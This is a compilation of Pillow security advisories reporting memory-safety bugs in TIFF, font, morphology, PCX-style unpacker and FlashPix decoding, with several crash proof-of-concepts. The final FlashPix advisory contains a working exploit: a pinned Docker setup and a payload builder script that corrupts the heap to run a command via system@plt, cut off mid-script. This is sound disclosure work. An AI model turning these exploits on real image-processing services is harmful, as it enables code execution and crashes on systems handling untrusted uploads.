(To get it to scream differently about unpackP4L, comment out the P;2L case.)

The above output is with unpackP2L and unpackP4L off 5eee92031a1986dfdaac7c78cdf0b764c0697118 lazily instrumented to print out what it's reading:

diff --git a/src/libImaging/Unpack.c b/src/libImaging/Unpack.c
index a51568209..4f867737a 100644
--- a/src/libImaging/Unpack.c
+++ b/src/libImaging/Unpack.c
@@ -548,6 +548,8 @@ unpackP4(UINT8 *out, const UINT8 *in, int pixels) {
     }
 }
 
+#include <stdio.h>
+
 static void
 unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {
     int i, j, m, s;
@@ -555,6 +557,8 @@ unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {
     m = 128;
     s = (pixels + 7) / 8;
     for (i = j = 0; i < pixels; i++) {
+        fprintf(stderr, "unpackP2L: in=%p i=%d j=%d pixels=%d reads %p %p\n",
+            in, i, j, pixels, in + j, in + j + s);
         out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0);
         if ((m >>= 1) == 0) {
             m = 128;
@@ -570,6 +574,8 @@ unpackP4L(UINT8 *out, const UINT8 *in, int pixels) {
     m = 128;
     s = (pixels + 7) / 8;
     for (i = j = 0; i < pixels; i++) {
+        fprintf(stderr, "unpackP4L: in=%p i=%d j=%d pixels=%d reads %p %p %p %p\n",
+            in, i, j, pixels, in + j, in + j + s, in + j + 2 * s, in + j + 3 * s);
         out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0) +
                  ((in[j + 2 * s] & m) ? 4 : 0) + ((in[j + 3 * s] & m) ? 8 : 0);
         if ((m >>= 1) == 0) {
Impact

Only a very specific use case is affected: Image.frombytes() or Image.frombuffer() calls of the shape above.
The PCX decoder, which is the only Pillow-internal user of the P;2L and P;4L unpackers, already re-packs PCX rows into a format where overreads aren't an issue.

The impact is that up to 1 byte (P;2L) or 3 bytes (P;4L) of heap memory following the caller's buffer are read and mixed into the pixel values of the last decoded row(s), one bit per affected plane per pixel. A crash is also possible if the read reaches unmapped memory.

As far as I can tell, all published Pillow versions are affected.

Notes

These findings were momentarily public (though in no detail) in https://github.com/python-pillow/Pillow/pull/9723#issuecomment-5566006996; Andrew asked to retract the comment and post this instead.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow tiled-TIFF decoder reads past tile buffer in copy4 (Unpack.c:1290)

BIT-pillow-2026-112395 / CVE-2026-112395 / GHSA-462x-pgg6-55fp

More information

Details

Summary

Pillow's libImaging _decodeTile decoder, used to decode tiled TIFF images, allocates a per-tile buffer using realloc(state->buffer, TIFFTileSize(tiff)). After each TIFFReadTile it then iterates tile_y from 0 up to current_tile_length and calls the configured row unpacker (here copy4) with the source pointer state->buffer + tile_y * row_byte_size. When libtiff returns a tile_bytes_size smaller than the worst-case row_byte_size * tile_length, the inner stride-and-copy loop walks past the realloc'd region and copy4 performs a 1024-byte memcpy that reads up to (tile_length-1) * row_byte_size + row_byte_size bytes from a buffer sized only to tile_bytes_size. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer.

Details

Pillow's TIFF decoder, when libtiff reports the file is tiled, takes the _decodeTile path. The function:

  1. Asks libtiff for TIFFTileSize(tiff) (the bytes-per-tile) and TIFFTileRowSize(tiff) (the bytes per row as stored by libtiff).
  2. Reallocates state->buffer to exactly tile_bytes_size.
  3. For each tile origin (x, y) and each plane, calls TIFFReadTile into state->buffer, then walks the tile row by row, calling the configured ImagingShuffler (here copy4) on each row's worth of source bytes.

The validation done before the loop is:

if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {
    state->errcode = IMAGING_CODEC_BROKEN;
    return -1;
}

This rejects oversized libtiff tiles, but it does not reject undersized ones — i.e. the case where libtiff returns a tile_bytes_size strictly less than row_byte_size * tile_length. The loop body, however, indexes into the buffer assuming the buffer is at least row_byte_size * tile_length bytes long.

Vulnerable Code
// src/libImaging/TiffDecode.c:446-490 — _decodeTile
new_data = realloc(state->buffer, state->bytes);   // bytes = tile_bytes_size
if (!new_data) { ... }
state->buffer = new_data;

for (y = state->yoff; y < state->ysize; y += tile_length) {
    for (plane = 0; plane < planes; plane++) {
        ImagingShuffler shuffler = unpackers[plane];
        for (x = state->xoff; x < state->xsize; x += tile_width) {
            if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { ... }

            current_tile_width  = min((INT32)tile_width,  state->xsize - x);
            current_tile_length = min((INT32)tile_length, state->ysize - y);
            for (tile_y = 0; tile_y < current_tile_length; tile_y++) {
                shuffler(
                    (UINT8 *)im->image[tile_y + y] + x * im->pixelsize,
                    state->buffer + tile_y * row_byte_size,   // <-- OOB stride
                    current_tile_width
                );
            }
        }
    }
}
// src/libImaging/Unpack.c:1288-1291 — copy4 (the crash site)
static void
copy4(UINT8 *out, const UINT8 *in, int pixels) {
    /* RGBA, CMYK quadruples */
    memcpy(out, in, 4 * pixels);   // <-- ASAN-detected READ here
}

The PoC's tile metadata yields tile_width = tile_length = 256, row_byte_size = 1024 (4 bytes/pixel × 256 pixels), and tile_bytes_size = 196608 (which is 256·256·3 = three-channel-byte storage). The realloc'd buffer is 196608 bytes. The unpacker iterates tile_y from 0 to 255 and for the highest rows the source pointer state->buffer + tile_y * 1024 already lies at or past offset 196608 — the very last row's memcpy(in=buffer+255·1024, 1024) reads 1024 bytes starting 260096 - 196608 = 63488 bytes past the allocation; ASAN flags the very first byte past the heap region (READ of size 1024 at … 0 bytes after 196608-byte region).

The mismatch is real: libtiff's TIFFTileSize returns the packed per-tile storage (which depends on the file's photometric/separation layout — it can legitimately be smaller than row_byte_size × tile_length), while the inner loop strides as if the buffer always equals row_byte_size × tile_length.

Attribution

This issue was found by Anthropic from using Claude to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers. The data in this report has been reviewed manually.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise

BIT-pillow-2026-96641 / CVE-2026-96641 / GHSA-4rm8-3hmm-39fg / PYSEC-2026-4340

More information

Details

Summary

Affected Object and Source

Package: Pillow 12.3.0
Source: PyPI sdist pillow-12.3.0.tar.gz
SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce
Sink: src/_imaging.c:2809:15, xsize += dx

Details

The code in Pillow 12.3.0 is:

for (xsize = 0; *text; text++) {
    int dx = self->glyphs[*text].dx;
    if (dx > 0 && xsize > INT_MAX - dx) {
        PyErr_SetString(PyExc_OverflowError, "Width too large");
        return -1;
    }
    xsize += dx;
}

The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves:
dx > 0 => xsize <= INT_MAX - dx
It does not prove the other half of the contract:
dx < 0 => xsize >= INT_MIN - dx
Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INT_MIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.

PoC
"""Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.

Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""

from __future__ import annotations

import struct
from io import BytesIO

import PIL
from PIL import Image, ImageFont

ADVANCE = -(2**15)
CONTROL_REPEAT = 65_536
WITNESS_REPEAT = 65_537

def bitmap_font(advance: int) -> ImageFont.ImageFont:
    metrics = bytearray(256 * 20)
    glyph_offset = ord("A") * 20
    metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance)
    font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics)
    font = ImageFont.ImageFont()
    font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1)))
    return font

def main() -> None:
    font = bitmap_font(ADVANCE)
    print(f"Pillow={PIL.__version__}")
    print(f"control_math={ADVANCE * CONTROL_REPEAT}")
    print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}")
    print(f"witness_math={ADVANCE * WITNESS_REPEAT}")
    print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}")

if __name__ == "__main__":
    main()

Observations from a regular 12.3.0 release build:

Pillow=12.3.0
control_math=-2147483648
control_return=0
witness_math=-2147516416
witness_return=2147450880

The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INT_MIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.

Impact

The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.

Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.

It is recommended to extend the overflow check to cover both directions:

if ((dx > 0 && xsize > INT_MAX - dx) ||
    (dx < 0 && xsize < INT_MIN - dx)) {
    PyErr_SetString(PyExc_OverflowError, "Width too large");
    return -1;
}

At a minimum, four test cases should be added:

  1. dx = 32767, repeat = 65538 — upper adjacent control (should succeed);
  2. dx = 32767, repeat = 65539 — should raise OverflowError;
  3. dx = -32768, repeat = 65536 — lower adjacent control (should succeed);
  4. dx = -32768, repeat = 65537 — should raise OverflowError.

Additionally, it should be verified that exception propagation is consistent across getlength(), getbbox(), getmask(), and the underlying font.getsize().

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer

BIT-pillow-2026-112396 / CVE-2026-112396 / GHSA-4rr5-89j8-mwwm / PYSEC-2026-4328

More information

Details

Summary

Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When TIFFWriteScanline fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, TIFFClose flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.

Details

The failure path in ImagingLibTiffEncode frees clientstate->data for the in-memory case but does not close the TIFF or null clientstate->tiff (the file-descriptor branch just above it does set tiff = NULL):

  • src/libImaging/TiffDecode.c:1041-1046

Teardown then calls ImagingLibTiffEncodeCleanup, which runs TIFFClose(tiff) because tiff is still set:

  • src/encode.c:99-101
  • src/libImaging/TiffDecode.c:955

TIFFClose flushes through _tiffWriteProc, which reallocs and memcpys into the freed state->data:

  • src/libImaging/TiffDecode.c:103-115

The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.

PoC
import io
from PIL import Image

##### In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer

##### data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
##### TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3})  # 317 = Predictor

Run it:

$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96 with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports corrupted double-linked list instead of a segfault; both are the same write into freed memory.

Under AddressSanitizer (build with -fsanitize=address), relevant frames:

==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
    #&#8203;1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115
    #&#8203;3 TIFFFlush                      libtiff.so.6
    #&#8203;5 TIFFClose                      libtiff.so.6
    #&#8203;6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955
    #&#8203;7 _dealloc                       src/encode.c:100
freed by thread T0 here:
    #&#8203;1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045
    #&#8203;2 _encode                        src/encode.c:139
previously allocated by thread T0 here:
    #&#8203;1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863
    #&#8203;2 PyImaging_LibTiffEncoderNew    src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc

The buffer allocated in ImagingLibTiffEncodeInit is freed in ImagingLibTiffEncode, then written by _tiffWriteProc during the TIFFClose flush that runs from the encoder's _dealloc.

Impact

Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a BytesIO or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Out-of-bounds access in _imagingmorph on a zero-width image

BIT-pillow-2026-112397 / CVE-2026-112397 / GHSA-58r4-6rv3-gfh8 / PYSEC-2026-4329

More information

Details

Summary

A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size (0, N). Passing that image to ImageMorph.MorphOp.apply() makes the native morphology code index a row buffer at outrow[width - 1], which is outrow[-1] when the width is 0. The process crashes.

Details

The PPM parser reads width and height with no lower-bound check:

  • src/PIL/PpmImagePlugin.py:119

The native apply() writes the row edges with no guard that the width is positive:

  • src/_imagingmorph.c:81 sets outrow[0] = outrow[width - 1] = 0;

match() and get_on_pixels() use the same edge-indexing pattern.

PoC
from PIL import Image, ImageMorph

##### A width-0 image (also producible from a crafted PPM header). apply() indexes

##### outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)

Run it:

$ python 03_poc.py
Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96.

Under AddressSanitizer:

==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
    #&#8203;0 apply   src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply

With width 0 the outrow[width - 1] write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.

Impact

Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution

BIT-pillow-2026-112398 / CVE-2026-112398 / GHSA-5x8w-8jj5-q52h / PYSEC-2026-4330

More information

Details

Credits

Researcher: Alex Bouffard (mixbo@pebwalker.com)

Summary

A heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with Image.open(). The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional olefile dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).

Details

FpxImagePlugin decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents.

Image.open() auto-detects them from the OLE2 magic D0CF11E0... whenever the optional olefile package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension.

For a JPEG-compressed subimage (compression == 2), the plugin builds a "jpeg" decode tile and derives the (rawmode, jpegmode) pair from attacker-controlled FPX color IDs through the MODES table (src/PIL/FpxImagePlugin.py L25-L32):

MODES = {
    ...
    (0x00018000, 0x00017FFE): ("RGBA", "LA"),                # rawmode "LA"  (2 bytes/pixel)
    ...
    (0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"),  # rawmode "YCC;P"
}

The Imaging output buffer for the tile is sized for the rawmode (here "LA" = 2 bytes/pixel) (src/decode.c L223-L226):

state->bytes = (state->bits * state->xsize + 7) / 8;   // "LA" gives 2 * xsize bytes/row
...
state->buffer = (UINT8 *)calloc(1, state->bytes);

In JpegDecode.c the rawmode string is mapped to a libjpeg out_color_space. Recognized modes (CMYK, YCbCr, YCbCrK, and so on) get a concrete colorspace, but "LA" and "YCC;P" are not recognized, so control reaches the fallback branch (src/libImaging/JpegDecode.c L219-L221):

/* Disable decoder conversions. */
context->cinfo.jpeg_color_space = JCS_UNKNOWN;
context->cinfo.out_color_space  = JCS_UNKNOWN;

Under JCS_UNKNOWN, libjpeg performs no color conversion and emits cinfo.num_components bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So jpeg_read_scanlines writes 4 * width bytes per row into a buffer allocated for only 2 * width bytes (src/libImaging/JpegDecode.c L252):

ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);   // writes 4*W into a 2*W buffer

This is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about 2 * width bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python bytes object's ob_type with a pointer to a fake PyTypeObject / PyBufferProcs vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, PyBuffer_Release walks ob_type -> tp_as_buffer -> bf_releasebuffer and executes call *rax; the PoC points that at system@plt (fixed, the interpreter binary is non-PIE) with rdi set to the command string, yielding command execution.

PoC

To facilitate an exact reproduction on an x86_64 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from Annex A.

The source code for the payload builder make_payload.py is in Annex B.

vulnerable.py is the program under test, a one-liner that opens the file it is given:


#!/usr/bin/env python3
##### The entire vulnerable operation an application performs on an untrusted file.
import sys
from PIL import Image

Image.open(sys.argv[1]).load()

The payload is a standalone .fpx file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run make_payload.py inside the same container here purely for convenience, so its baked-in addresses (--offset, system@plt) match this pinned image. The payload redirects the hijacked indirect call to system@plt (0x4206c0, fixed because the interpreter binary is non-PIE) with a baked-in command:

$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx
[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0
[control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id'

Then open it with vulnerable.py:

$ python3 vulnerable.py shell.fpx
uid=0(root) gid=0(root) groups=0(root)
corrupted size vs. prev_size

Image.open() of the crafted file runs the baked command via system("id"): command execution as the user running the image processing (root in the container).

The trailing corrupted size vs. prev_size is glibc aborting during interpreter teardown over the corrupted heap, after id has
already run.

The builder writes the command inline at the hijacked rdi, so --cmd is limited to 7 bytes (for example id, id;w). --offset and system@plt are constants of the pinned, ASLR-disabled image and hold across runs of it.

Impact

This is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional olefile dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension and the overflow is triggered during a normal Image.open() / load, a server that automatically processes an uploaded file is exploitable with no user interaction. The result is arbitrary command execution in the context of the process performing the image processing, leading to full compromise of that process and the data and privileges it holds.

Annex A: Docker setup

The PoC runs in a pinned Docker image so the environment is deterministic; the image installs a version-pinned Python (3.12.3) and the Pillow 12.2.0 wheel, and the builder is pure Pillow. The image's entrypoint disables ASLR (setarch -R) to reduce the system knowledge requirements. The single --security-opt seccomp=unconfined flag on docker run is required only because turning ASLR off uses the personality() syscall that Docker's default seccomp profile blocks. Run only on infrastructure you own.

1. Build the image. Put vulnerable.py (PoC) and make_payload.py
(Annex B) in a directory with this Dockerfile:

FROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54
RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates \
        python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \
    && rm -rf /var/lib/apt/lists/*
RUN python3.12 -m venv /opt/v \
    && /opt/v/bin/pip install --no-cache-dir "Pillow==12.2.0" "olefile==0.47"
ENV PATH=/opt/v/bin:$PATH
WORKDIR /poc

##### ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap.
ENTRYPOINT ["setarch", "-R"]
CMD ["bash"]
$ docker build -t fjpeg1-poc .
...
Downloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB)
Successfully installed Pillow-12.2.0 olefile-0.47
Successfully built 370344c832b6
Successfully tagged fjpeg1-poc:latest

2. Start the (ASLR-disabled) container shell with the scripts mounted:

docker run --rm -it --security-opt seccomp=unconfined -v "$PWD:/poc" -w /poc fjpeg1-poc
Annex B: payload builder source

make_payload.py:


#!/usr/bin/env python3
"""F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain).
Builds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -> JCS_UNKNOWN
path, overflows the 2-byte/px decode buffer and overwrites an adjacent object's ob_type.
  --crash      flood an adjacent ob_type with 0x42.. -> SIGSEGV in PyBuffer_Release
  (default)    CONTROL: fake vtable at the fixed (no-ASLR) addresses -> call *--target
Defaults target the pinned Docker image with ASLR disabled (setarch -R). See --help."""
import sys, io, struct, math, argparse
from PIL import Image

W, H = 65000, 2
SECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748
FREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF
FPX_CLSID = bytes.fromhex("0067615654C1CE11855300AA00A1F95B")
o32 = lambda v: struct.pack("<I", v)
p64 = lambda v: struct.pack("<Q", v)
INV = bytes(255 - i for i in range(256))   # 8-bit inversion table

def jpeg(src):
    b = io.BytesIO()
    Image.frombytes("CMYK", (W, H), bytes(src)).save(b, "JPEG", quality=100, subsampling=0)
    return b.getvalue()

def decode_row(jpg):
    # Predict what the vulnerable JCS_UNKNOWN path decodes, using Pillow itself: JCS_UNKNOWN emits
    # the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R
    # (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The
    # last decoded row is the one that lands in (and overflows past) the buffer.
    px = Image.open(io.BytesIO(jpg)).tobytes()
    return px[(H - 1) * W * 4:].translate(INV)

def craft(targets, iters=40):  # decode-feedback exact write (JPEG is lossy -> iterate to converge)
    # base fill 0xBD -> decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern
    # that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort).
    src = bytearray(b"\xbd" * (W * H * 4)); base = (H - 1) * W * 4; it = 0
    for off, t in targets:
        for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v
    for it in range(iters):
        dec = decode_row(jpeg(src)); bad = 0
        for off, t in targets:
            for i, v in enumerate(t):
                if dec[off + i] != v:
                    bad += 1
                    src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v))
        if not bad: break
    return jpeg(src), it, bad

def maxid_for(w, h):
    s, i = max(w, h), 1
    while s > 64: s //= 2; i += 1
    return i - 1
MAXID = maxid_for(W, H); RESNAME = "Resolution %04d" % MAXID

def image_contents():
    ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b
    cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE)        # FPX color -> rawmode "LA"
    props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID << 16), blob(cb))]
    voff = 8 + 8 * len(props); idx = vals = b""
    for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v)
    body = o32(len(props)) + idx + vals
    return (struct.pack("<HHI", 0xFFFE, 0, 0x00020005) + b"\x00" * 16 + o32(1) + b"\x00" * 16
            + o32(48) + o32(len(body) + 4) + body)

def subimage_header():
    b = bytearray(80)
    for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2),
                 (56, 36), (60, 16), (64, 0), (72, 2)]:
        struct.pack_into("<I", b, o, v)
    return bytes(b)

def build_fpx(jpg, out):
    data = b"\x00" * 28 + jpg
    assert len(data) <= DATA_PAD, (len(data), DATA_PAD)
    pad = lambda x: x + b"\x00" * ((-len(x)) % SECT)
    sd = {"ic": pad(image_contents().ljust(4096, b"\x00")),
          "hdr": pad(subimage_header().ljust(4096, b"\x00")),
          "dat": pad(data.ljust(DATA_PAD, b"\x00"))}
    ns = lambda x: len(x) // SECT; order = ["ic", "dat", "hdr"]
    dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order)
    fsec = 1
    while fsec * 128 < fsec + content: fsec += 1
    pos = {}; cur = fsec; dstart = cur; cur += dsec
    for k in order: pos[k] = cur; cur += ns(sd[k])
    total = cur
    fat = [FREESECT] * (fsec * 128)
    for s in range(fsec): fat[s] = FATSECT
    def chain(a, n):
        for j in range(n): fat[a + j] = a + j + 1 if j < n - 1 else ENDOFCHAIN
    chain(dstart, dsec)
    for k in order: chain(pos[k], ns(sd[k]))
    def de(nm, t, ch, l, r, st, sz, cl=b"\x00" * 16):
        n = (nm.encode("utf-16-le") + b"\x00\x00").ljust(64, b"\x00")[:64]
        return (n + struct.pack("<HBB", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r)
                + o32(ch) + cl + o32(0) + b"\x00" * 16 + o32(st) + struct.pack("<Q", sz))
    directory = pad(b"".join([
        de("Root Entry", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID),
        de("Data Object Store 000001", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
        de("\x05Image Contents", 2, NOSTREAM, NOSTREAM, 3, pos["ic"], len(sd["ic"])),
        de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
        de("Subimage 0000 Data", 2, NOSTREAM, NOSTREAM, 5, pos["dat"], len(sd["dat"])),
        de("Subimage 0000 Header", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos["hdr"], len(sd["hdr"]))]))
    h = bytearray(512); h[0:8] = bytes.fromhex("D0CF11E0A1B11AE1")
    for o, fmt, *v in [(24, "<HH", 0x3E, 3), (28, "<H", 0xFFFE), (30, "<HH", 9, 6), (44, "<I", fsec),
                       (48, "<I", dstart), (56, "<I", 4096), (60, "<I", ENDOFCHAIN), (68, "<I", ENDOFCHAIN)]:
        struct.pack_into(fmt, h, o, *v)
    for i in range(109): struct.pack_into("<I", h, 76 + i * 4, i if i < fsec else FREESECT)
    secs = [b""] * total
    for s in range(fsec): secs[s] = b"".join(o32(x) for x in fat[s * 128:(s + 1) * 128])
    for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT]
    for k in order:
        for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT]
    open(out, "wb").write(bytes(h) + b"".join(secs))

def xhex(s): return int(s, 16)

SYSTEM_PLT = 0x4206c0   # system@plt in the image's non-PIE python3.12 (fixed, no libc leak)

def main():
    ap = argparse.ArgumentParser(description="F-JPEG-1 .fpx payload builder (0-ASLR box)")
    ap.add_argument("--out", required=True, help="output .fpx path")
    ap.add_argument("--crash", action="store_true",
                    help="crash mode: flood an adjacent ob_type with 0x42.. and SIGSEGV (no addresses)")
    ap.add_argument("--heap-base", type=xhex, default=0xbaa000,
                    help="fixed heap base of the 0-ASLR box (default 0xbaa000)")
    ap.add_argument("--offset", type=xhex, default=0x21e800,
                    help="state->buffer - heap_base (default 0x21e800 -> S=0xdc8800)")
    ap.add_argument("--target", type=xhex, default=SENTINEL,
                    help="value called via the hijacked vtable; pass %#x (system@plt) for "
                         "command execution (default is a sentinel for an RIP-control demo)" % SYSTEM_PLT)
    ap.add_argument("--cmd", default="id",
                    help="command system() runs, written inline at obj+0 / rdi (<=7 bytes, e.g. id, id;w)")
    a = ap.parse_args()

    if a.crash:
        # Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD
        # to make the decoded overflow bytes 0x42 -> the adjacent ob_type becomes 0x4242424242424242.
        build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out)
        print("[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 "
              "-> SIGSEGV in PyBuffer_Release (no addresses)" % a.out)
        return

    if len(a.cmd.encode()) > 7:
        sys.exit("--cmd must be <=7 bytes (it is written inline at obj+0, before ob_type)")
    S = a.heap_base + a.offset
    A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000     # spray A = fake type, spray B = TARGET
    tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)),
